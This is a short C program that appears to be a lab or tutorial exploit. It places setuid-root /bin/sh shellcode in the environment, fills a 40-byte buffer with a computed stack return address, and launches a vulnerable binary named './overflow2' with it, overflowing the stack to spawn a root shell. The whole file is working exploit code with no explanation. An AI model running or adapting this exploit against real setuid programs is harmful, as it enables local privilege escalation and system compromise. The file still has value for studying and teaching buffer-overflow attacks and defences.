#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
  char *env[2] = {shellcode, NULL};
  int i;
  long ret, *addr_ptr;
  char *buffer, *ptr;

  buffer = malloc(40);
  ret = 0xbffffffa - strlen(shellcode) - strlen("./overflow2");

  ptr = buffer;
  addr_ptr = (long *)ptr;
  for(i=0; i<40; i+=4)
  { *(addr_ptr++) = ret; }

  buffer[40-1] = 0;
  execle("./overflow2", "overflow2", buffer, 0, env);
  free(buffer);
  return 0;
}

